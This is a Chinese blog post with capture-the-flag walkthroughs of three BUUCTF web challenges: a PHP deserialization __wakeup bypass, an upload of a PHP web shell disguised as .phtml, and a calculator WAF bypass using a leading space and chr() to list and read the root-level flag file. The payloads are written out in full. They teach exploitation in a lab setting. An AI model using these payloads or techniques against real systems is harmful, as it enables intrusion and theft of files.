x2658y's Blog

杂七杂八的记事本

进去看到主页是一只猫, 移动鼠标可以用毛线团逗它, 出个题前端也也是费心了

image-20211101230918054

上面说, 有备份网站的习惯, 所以我们就扫描服务器找出备份文件, 使用dirsearch这个脚本

下载地址: Github

1
python ./dirsearch.py -e php -u http://0c3bed09-f748-4307-ba14-135d78a27e92.node4.buuoj.cn:81/

-e 指定服务器运行环境

-u 指定网站目录

PS: 我自己扫了很久也没扫完, 看别人的WP扫出了www.zip, 我们就从这里开始

下载www.zip解压得到5个文件

image-20211101231756440

index.php关键代码:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

index.php引入了class.php, 然后反序列化参数select的值, 先去看看class.php有什么

flag.php里的那个flag是错的

class.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

这里就要用到php反序列化的知识了, 我们先在本地制作好payload

image-20211101234324256

审计代码, 用户名为"admin", 密码为100("100"也行, 弱相等)时, 并使__wakeup()不执行, 就能拿到flag

序列化后的对象:

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

当序列化文本中指定的对象属性个数大于实际个数时, __wakeup()方法就不会被执行 ,实际上是2个, 我们改成3个:

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

提交上去看看

image-20211102000144789emmm, 跟我想的不一样

经过一番查找得知: Name类的两个属性是private的, 只能在类中访问, 在序列化后的文本中要用%00将类名和属性名分隔开, 所以正确的序列化文本应该是:

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

再次提交:

image-20211102000537580

成功拿到flag

进去就是个灯泡, 鼠标移到灯泡上出现文件选择框

image-20211101212238225

试着上传一个php后缀一句话木马

image-20211101212227434

前端限制后缀, 直接BP抓包改后缀

image-20211101211857333

后端也有限制, 传统艺能, 改后缀为phtml

image-20211101212015986

文件直接上传成功, 接下来就是菜刀时间

image-20211101212139849

flag就在根目录

进来就是一个普通的计算器, 输入表达式给出结果,先看一波源代码

image-20211101192427994
image-20211101192502182

被设了WAF, 咱也不知道是防的啥, 接着看. 请求参数被发往calc.php, 我们直接访问一下看看:

image-20211101192659620

源码直接显示出来了, 可以看到有很多过滤, 很多字符都被列入了黑名单. 先看看能不能得到当前的文件绝对路径

image-20211101193809717

网页直接Forbidden了, 经过测试, 只要num的参数里含除数字以外的字符就会如此, 这应该就是之前说的WAF了, 不绕过这个WAF后面的操作都无法进行下去. 但是要绕过这个漏洞, 首先要知道php在解析提交的参数名和其对应的值时都做了什么

PHP需要将所有参数名转换为有效键名(比如在$_REQUEST变量里的关联数组里, 有所有提交的参数名和值)

所以php至少会干两件事

1.删除某些字符

2.将某些字符转换为下划线_

以下为一些本地测试结果:

  1. 位于提交的参数前面的[空格]%20+会被删除, 比如提交param=1& param2=2(或param=1&++param2=2) , 最终在$_REQUEST里是("param1"=>"1","param2"=>"2")
  2. 位于提交的参数前面的.会被替换成_ , 提交param=1&..param2=2, 最终在$_REQUEST里是("param1"=>"1","__param2"=>"2")
  3. 位于参数名中间、末尾,无论是[空格]+%20还是.都会被替换成_

这个WAF我们可以采用在num前面加个空格方式绕过, 构造payload:

1
2
calc.php? num=var_dump(scandir(chr(47))) 
//本题calc.php?%20num=var_dump(scandir(chr(47)))亦可

scandir()可以列出根目录下的文件, 但是/被过滤了, 所以用chr()函数,采用ASCII码的方式绕过

image-20211101202126567

根目录下有个f1agg, 想必就是我们要找的flag了.

故技重施, 用chr()函数拼出路径, 再用file_get_contents()(也可以用highlight_file())获取里面的内容, payload:

1
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
image-20211101203110483
0%